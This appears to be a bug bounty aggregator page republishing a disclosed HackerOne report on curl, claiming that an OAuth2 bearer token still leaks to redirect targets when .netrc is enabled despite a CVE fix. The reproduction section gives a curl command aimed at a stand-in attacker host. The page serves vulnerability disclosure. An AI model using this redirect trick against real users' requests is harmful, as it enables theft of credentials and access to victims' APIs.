Skip to content
Info disclosure Disclosed report Intermediate CVE-2026-3783

Bearer Token Leaked to Attacker via .netrc Despite CVE-2026-3783 Fix

curl still sends an OAuth2 bearer token to a redirect target when a .netrc file is configured, despite a fix for CVE-2026-3783. An attacker who controls a redirect can capture the token and use it to access the victim's APIs and data.

wizard021 Follow

Originally disclosed on HackerOne

  • Disclosed after 8 days

curl versions 8.19.0 and later were meant to fix CVE-2026-3783, which causes OAuth2 bearer tokens to leak on HTTP redirects when the user has a .netrc file configured. However, the vulnerability still exists in the current codebase.

VULNERABILITY: When a curl user specifies an OAuth2 bearer token via --oauth2-bearer and also uses the --netrc flag to enable .netrc authentication, curl fails to prevent the bearer token from being sent to redirect targets.

AFFECTED VERSIONS: 8.17.0, 8.19.0, 8.19.1-DEV, 8.19.x

REPRODUCTION:

  1. Create .netrc with attacker domain entry
  2. Run: curl --oauth2-bearer 'SECRET_TOKEN' --netrc --location http://redirect-to-attacker.com
  3. Bearer token sent to attacker

ROOT CAUSE: lib/http.c:825-829 - OR condition bypasses redirect protection

IMPACT: OAuth credentials exposed, attacker gains API access

Impact

OAuth credentials exposed allowing attacker to access victim's APIs and data

The original report as published on HackerOne, by wizard021. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely an OR condition in the redirect handling logic in lib/http.c bypasses the check that should stop the bearer token from being forwarded.

Impact

OAuth credentials are exposed, allowing the attacker to access the victim's APIs and data.

What the attacker needed

Victim uses curl with --oauth2-bearer and --netrc; attacker controls a redirect target

How it was found

  1. Create a .netrc file containing an entry for the attacker's domain
  2. Run curl with an OAuth2 bearer token, the --netrc flag, and --location pointing at a URL that redirects to the attacker
  3. Observe that the bearer token is sent to the attacker

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program follows a web redirect, it should not forward secret login tokens to the new address. Here, curl still passes an OAuth2 bearer token (a secret string used to prove identity) to whatever address a redirect points to, if a .netrc file (a file holding login details) is also in use. Someone who can set up that redirect can steal the token and act as the victim.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.